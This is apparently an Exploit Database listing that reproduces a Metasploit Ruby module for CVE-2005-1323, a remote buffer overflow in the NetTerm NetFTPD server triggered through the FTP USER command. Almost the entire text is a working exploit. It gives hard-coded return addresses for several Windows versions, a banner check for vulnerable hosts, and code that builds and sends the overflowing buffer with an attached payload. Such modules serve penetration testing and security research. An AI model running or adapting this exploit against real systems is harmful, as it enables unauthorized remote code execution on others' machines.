NetTerm NetFTPD – ‘USER’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2010-10-05
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16735/

• ##
  # $Id: netterm_netftpd_user.rb 10559 2010-10-05 23:41:17Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Ftp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'NetTerm NetFTPD USER Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a vulnerability in the NetTerm NetFTPD
  				application. This package is part of the NetTerm package.
  				This module uses the USER command to trigger the overflow.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10559 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-1323'],
  					[ 'OSVDB', '15865'],
  					[ 'URL', 'http://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
  					[ 'BID', '13396'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00\x0a\x20\x0d",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => [ 'win' ],
  			'Targets'=>
  				[
  					[
  						'NetTerm NetFTPD Universal',# Tested OK - hdm 11/24/2005
  						{
  							'Ret'=> 0x0040df98, # netftpd.exe (multiple versions)
  						},
  					],
  					[
  						'Windows 2000 English',
  						{
  							'Ret'=> 0x75022ac4, # ws2help.dll
  						},
  					],
  					[
  						'Windows XP English SP0/SP1',
  						{
  							'Ret'=> 0x71aa32ad, # ws2help.dll
  						},
  					],
  					[
  						'Windows 2003 English',
  						{
  							'Ret'=> 0x7ffc0638, # peb magic :-)
  						},
  					],
  					[
  						'Windows NT 4.0 SP4/SP5/SP6',
  						{
  							'Ret'=> 0x77681799, # ws2help.dll
  						},
  					],
  				],
  			'DisclosureDate' => 'Apr 26 2005',
  			'DefaultTarget' => 0))
  	end
  
  	def check
  		connect
  		disconnect
  		if (banner =~ /NetTerm FTP server/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		# Upush ebp
  		# Spush ebx
  		# Einc ebp
  		# Rpush edx
  		# \x20\xC0 and al, al
  
  		buf= rand_text_english(8192, payload_badchars)
  		buf[0, 1]= "\xc0"
  		buf[1, payload.encoded.length] = payload.encoded
  		buf[1014, 4] = [ target.ret ].pack('V')
  
  		send_cmd( ["USER #{buf}"] )
  		send_cmd( ['HELP'] )
  
  		handler
  		disconnect
  	end
  
  end